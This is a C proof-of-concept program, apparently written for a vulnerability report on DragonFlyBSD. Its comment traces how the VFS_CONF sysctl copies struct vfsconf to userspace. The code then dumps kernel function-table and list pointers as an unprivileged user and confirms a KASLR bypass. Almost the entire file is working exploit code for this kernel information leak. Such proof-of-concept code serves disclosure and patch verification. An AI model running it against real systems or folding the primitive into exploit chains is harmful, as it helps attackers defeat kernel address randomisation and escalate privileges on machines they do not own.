DF-0009 / leak_vfsconf.c
/* * DF-0009 PoC - VFS_CONF sysctl leaks kernel pointers (vfc_vfsops, vfc_next). * * vfs_sysctl()'s VFS_CONF handler (sys/kern/vfs_subr.c:1839-1845) does: * * vfsp = vfsconf_find_by_typenum(name[2]); * ... * return (SYSCTL_OUT(req, vfsp, sizeof *vfsp)); // :1845 * * copying the whole struct vfsconf to userspace. struct vfsconf * (sys/sys/mount.h:477-484) embeds: * struct vfsops *vfc_vfsops; // function-pointer table -> .text * STAILQ_ENTRY(vfsconf) vfc_next; // list pointer -> .data * The vfs.generic sysctl node is CTLFLAG_RD with no privilege gate * (sys/kern/vfs_subr.c:1850) and sysctl reads are not privilege-gated, so any * unprivileged local user can dump these kernel addresses -> KASLR bypass. * * The legacy ovfsconf path (sysctl_ovfs_conf_iter, vfs_subr.c:1863) likewise * copies vfc_vfsops verbatim. * * Build (DragonFlyBSD, amd64): cc -o leak_vfsconf leak_vfsconf.c * Run as an UNPRIVILEGED user: ./leak_vfsconf * * Expected (bug present): for each filesystem type, prints a non-NULL kernel * .text/.data pointer for vfc_vfsops and vfc_next, defeating KASLR. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/mount.h> #include <stdio.h> int main(void) { int name[4]; struct vfsconf vfc; size_t len; int t, got = 0; unsigned long leaked_text = 0, leaked_data = 0; /* {CTL_VFS, VFS_GENERIC, VFS_CONF, typenum} */ name[0] = CTL_VFS; /* 3 */ name[1] = VFS_GENERIC; /* 1 */ name[2] = VFS_CONF; /* 2 */ printf("sizeof(struct vfsconf) = %zu\n", sizeof(vfc)); for (t = 0; t < 256; t++) { name[3] = t; len = sizeof(vfc); if (sysctl(name, 4, &vfc, &len, NULL, 0) != 0) continue; got++; /* vfc_vfsops -> .text (KASLR relocation); vfc_next -> .data */ printf("type %-2d %-10s vfc_vfsops=%p vfc_next=%p\n", t, vfc.vfc_name, (void *)vfc.vfc_vfsops, (void *)vfc.vfc_next.stqe_next); if ((unsigned long)vfc.vfc_vfsops >= 0xffffffff80000000UL) leaked_text++; if ((unsigned long)vfc.vfc_next.stqe_next >= 0xffffffff80000000UL) leaked_data++; } printf("\nfilesystem types dumped: %d\n", got); printf("kernel .text pointers leaked (vfc_vfsops): %lu\n", leaked_text); printf("kernel .data pointers leaked (vfc_next) : %lu\n", leaked_data); printf("result: %s\n", (leaked_text || leaked_data) ? "LEAK CONFIRMED (KASLR-defeat primitive)" : "no kernel pointers observed"); return (leaked_text || leaked_data) ? 0 : 2; } |